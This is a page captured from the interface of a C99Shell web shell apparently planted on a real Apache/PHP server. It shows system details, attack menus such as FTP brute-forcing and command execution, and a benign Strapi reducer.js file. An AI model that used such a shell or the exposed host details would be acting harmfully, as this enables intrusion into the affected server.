!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/strapi-plugin-upload/admin/src/containers/HomePage/   drwxr-xr-x
Free 13.06 GB of 57.97 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     reducer.js (2.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import { fromJS } from 'immutable';

const initialState = fromJS({
  data: [],
  dataCount: 0,
  dataToDelete: [],
  isLoading: true,
  showModalConfirmButtonLoading: false,
  shouldRefetchData: false,
});

const reducer = (state, action) => {
  switch (action.type) {
    case 'CLEAR_DATA_TO_DELETE':
      return state.update('dataToDelete', () => fromJS([]));
    case 'GET_DATA':
      return state.update('isLoading', () => true);
    case 'GET_DATA_ERROR':
      return state.update('isLoading', () => false);
    case 'GET_DATA_SUCCEEDED':
      return state
        .update('data', () => fromJS(action.data))
        .update('dataCount', () => action.count)
        .update('isLoading', () => false);
    case 'ON_CHANGE_DATA_TO_DELETE': {
      const { id } = action;
      const isSelected = state
        .get('dataToDelete')
        .find(item => item.get('id').toString() === id.toString());

      if (!isSelected) {
        const item = state.get('data').find(item => item.get('id').toString() === id.toString());

        return state.update('dataToDelete', dataToDelete => {
          return dataToDelete.push(item);
        });
      }

      const index = state
        .get('dataToDelete')
        .findIndex(item => item.get('id').toString() === id.toString());

      return state.removeIn(['dataToDelete', index]);
    }
    case 'ON_DELETE_MEDIAS': {
      return state.update('showModalConfirmButtonLoading', () => true);
    }
    case 'ON_DELETE_MEDIAS_SUCCEEDED': {
      return state
        .update('dataToDelete', () => fromJS([]))
        .update('shouldRefetchData', () => true)
        .update('showModalConfirmButtonLoading', () => false);
    }
    case 'ON_DELETE_MEDIAS_ERROR': {
      return state
        .update('dataToDelete', () => fromJS([]))
        .update('showModalConfirmButtonLoading', () => false);
    }
    case 'RESET_DATA_TO_DELETE': {
      return state
        .update('dataToDelete', () => fromJS([]))
        .update('shouldRefetchData', () => false)
        .update('showModalConfirmButtonLoading', () => false);
    }
    case 'TOGGLE_SELECT_ALL': {
      const isSelected = state.get('data').every(item => state.get('dataToDelete').includes(item));

      if (isSelected) {
        return state.update('dataToDelete', dataToDelete =>
          dataToDelete.filter(item => !state.get('data').includes(item))
        );
      }

      return state.update('dataToDelete', dataToDelete => {
        const newItems = state.get('data').filter(item => {
          return !state.get('dataToDelete').includes(item);
        });

        return dataToDelete.concat(newItems);
      });
    }
    default:
      return state;
  }
};

export default reducer;
export { initialState };

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0184 ]--